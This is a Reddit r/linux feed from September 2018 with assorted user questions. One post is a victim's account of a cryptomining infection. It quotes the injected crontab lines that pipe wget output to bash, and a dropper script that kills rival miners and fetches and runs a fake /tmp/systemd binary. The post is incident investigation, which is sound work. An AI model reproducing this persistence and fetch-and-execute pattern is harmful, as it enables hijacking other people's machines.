Subscribe to Reddit feed
All things Linux and GNU/Linux -- this is neither a community exclusively about the kernel Linux, nor is exclusively about the GNU operating system.Linux, GNU/Linux, free software...
Updated: 1 min 21 sec ago

LibreOffice 6.1.1 released

Thu, 2018-09-13 13:27

Graphics driver problem

Thu, 2018-09-13 12:15

Hello, I am currently installing Linux on my Dell XPS 15 9560. My GPU is: Nvidia GTX 1050.

When I installed the drivers for my graphics card in Linux and reboot, i just boot up into a black screen saying something with "files blocked".

I have read and searched the web, I turned secure boot off, tried several different drivers, but all just result in me booting up into the black screen/console saying something with "files blocked".

Anyone who can help me?

submitted by /u/RobAnc1
[link] [comments]

How long would it take me to learn Linux to an advanced level? (as an IT professional who has been avoiding it for decades)

Thu, 2018-09-13 12:10

So I'm an MCP, CCNA and CISSP who is planning to setup an IT Security Consulting business, I come from a mainly Windows enterprise background and never needed to delve into Linux/Unix and avoided it out of stubbornness.

I'm now in a realization if I want to have any chance of success I need to be hands on to get the business off the ground and will need to learn Linux/pentesting/security tools (outside of Nessus, NMap etc that I used in Windows.)

Now Bash and scripting is my main fear, I'm a Powershell man at heart at an intermediate level, anyone got any advice how to get myself up to speed on *nix and any idea how long it would take me? Obviously google has a million answers to this topic, but I trust Redditors over random searches for advice.

submitted by /u/Statically
[link] [comments]

Chromebooks have excellent touchpad user experience - how do we bring this to all Linux laptops?

Thu, 2018-09-13 10:40

I've used three different Chromebooks and am amazed at how good the touchpad algorithm and feel is: Google Pixelbook, Samsung Chromebook Plus, and HP Chromebook 14". I believe the difference is in the software stack, something about the configuration and algorithm.

For a lot of people, the touchpad UX is the last barrier to using Linux on a laptop. Does anyone have an idea what it would take to make the Chromebook strategy available to Linux generally?

submitted by /u/tracychavez
[link] [comments]

I have been hacked through a cronjob (mining malware probably)

Thu, 2018-09-13 10:22

First of all, sadly I did not copy all commands/results as I was investigating the hack so there might be some imprecise info, I'll try to be be thorough as possible.

So, yesterday I noticed an abnormal CPU load first thing I do is to run top/htop to find out that a single process is using my CPU full throttle.

Said process was suspicious beyond its CPU usage, its name was made of a random(?) string KlMPrvqn (or something like that). First thing I do is to run file /proc/$(pidof KlMPrvqn)/exe to find out where this process comes from...

Well... the exe was linked to a binary that did not existed anymore but called /tmp/systemd... HMMMMMM

Finally systemctl status has been a great lead, I found out that the process had been spawned by a cron (cronie to be exact).

Immediately, I edit my crontab to find out that 2 lines I never ever would have added were there:

5 * * * * wget -qO- -U-|bash >/dev/null 2>&1 3 * * * * wget -qO- -U-|bash >/dev/null 2>&1

OOOOOOH this does not look good! I removed them, and downloaded the script in order to inspect it.

wget -U-

It is a fairly simple and obvious script:

exec &>/dev/null pkill -9 -f "xmr|miner|cryptonight|stratum|sustes|qW3xT|/tmp/java|/tmp/yarn|muhsti" if [ ! -f /tmp/.X11-lock ]; then x=/tmp/systemd wget -qU-$(uname -m) -O$x;chmod +x $x;$x;rm -f $x fi

It kills mining process, create a fake systemd executable, runs it and delete it. I guess it is a minig malware then.

I wget'ed said executable but could not figure out what to do with it though...

wget -U-

In the end, scrolling through journalctl I found out that this hack was running since september 10th (2 days more or less).

I found when the crontab was edited:

Sep 10 19:21:26 <host> crontab[22648]: (<user>) REPLACE (<user>)

And when the script first launched:

Sep 10 20:03:01 brix CROND[23494]: (brix) CMD (wget -qO- -U-|bash)

(note that there is a 40 minutes of nothing inbetween)

The thing that bother me is that I can't figure out HOW someone managed to access my machine, there is no suspicious ssh log, no suspicious trusted keys, no suspicious login either.

If anyone could help me investigate this, this would be GREAT! :D

I use this machine as a web server too (using lighttp) could it be my point of failure?

Here is my iptables rules if it helps:

# set default policies to let everything in iptables --policy INPUT ACCEPT iptables --policy OUTPUT ACCEPT iptables --policy FORWARD ACCEPT # start fresh iptables -Z # zero counters iptables -F # flush (delete) rules iptables -X # delete all extra chains # sshguard shit iptables -N sshguard iptables -A INPUT -j sshguard # connections, loopback iptables -A INPUT -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT iptables -A INPUT -i lo -j ACCEPT # ssh iptables -A INPUT -p tcp -m tcp --dport 22 -j ACCEPT # lighttp, rtorrent iptables -A INPUT -p tcp -m tcp --dport 80 -j ACCEPT iptables -A INPUT -p tcp -m tcp --dport 49164 -j ACCEPT # all the lan iptables -A INPUT -s -j ACCEPT # default DROP all iptables -P INPUT DROP iptables -P FORWARD DROP

Note that I use sshguard to limit malicious ssh connections attempts

submitted by /u/___fantomas___
[link] [comments]

Getting started with qemu

Thu, 2018-09-13 05:52

Linux on X1 Extreme?

Thu, 2018-09-13 05:18

Has anyone loaded a distro on this machine yet? Did you find any issues?

submitted by /u/ManticPen
[link] [comments]

Kubuntu vs Mint

Thu, 2018-09-13 03:35

am looking to move away from ubuntu and arch, any thoughts you'd like to share on how these compare?

submitted by /u/_coffeeblack_
[link] [comments]

What happened to Arch Anywhere?

Wed, 2018-09-12 19:55

The site seems dead, and I can't find it anywhere. Was hoping for a fresh download.

submitted by /u/metidder
[link] [comments]

Pardus 17.3 released

Wed, 2018-09-12 19:30

LINUX questions

Wed, 2018-09-12 17:56

I’m interested in removing the windows 8 software and installing Linux on my crappy laptop in an attempt to speed it up, anyways I have some questions regarding Linux. 1: I’ve been told it is faster, but how so? 2: How many game titles like steam run on Linux? 3: How easy is it to get the hang of? 4: Can I install windows programs on it? Thanks in advance.

submitted by /u/Hyper2Snyper
[link] [comments]

Do you know any gui that ins't calibre that can convert to Kindle readable formats?

Wed, 2018-09-12 17:46

I just need something to convert some doc files into azw3 so that I can read them on my kindle. I just want a simple tool that converts the files and saves them in just one folder. But calibre creates one folder for each file.

I've also tried to use the terminal tool ebook-convert (it's a part of the calibre package) but there's no way that I know of to convert 20+ files with just one command. I've tried with ebook-convert '*.docx' '*.azw3' but the program is unable to detect "*" as the symbol known as "select every file" (yeah I know that's not the real meaning but I hope you get what I mean). It's so frustrating. Moreover all my files have long names with spaces and such, so it makes it even more complicated....

Somewhere on the web they said that you could do a script to automate this but I don't know how to code. I can't do anything so that's why I'm here. Hoping any of you could point me in the right direction to do what I need. Is there any alternative tool to convert documents into kindle formats?

submitted by /u/Maccer_
[link] [comments]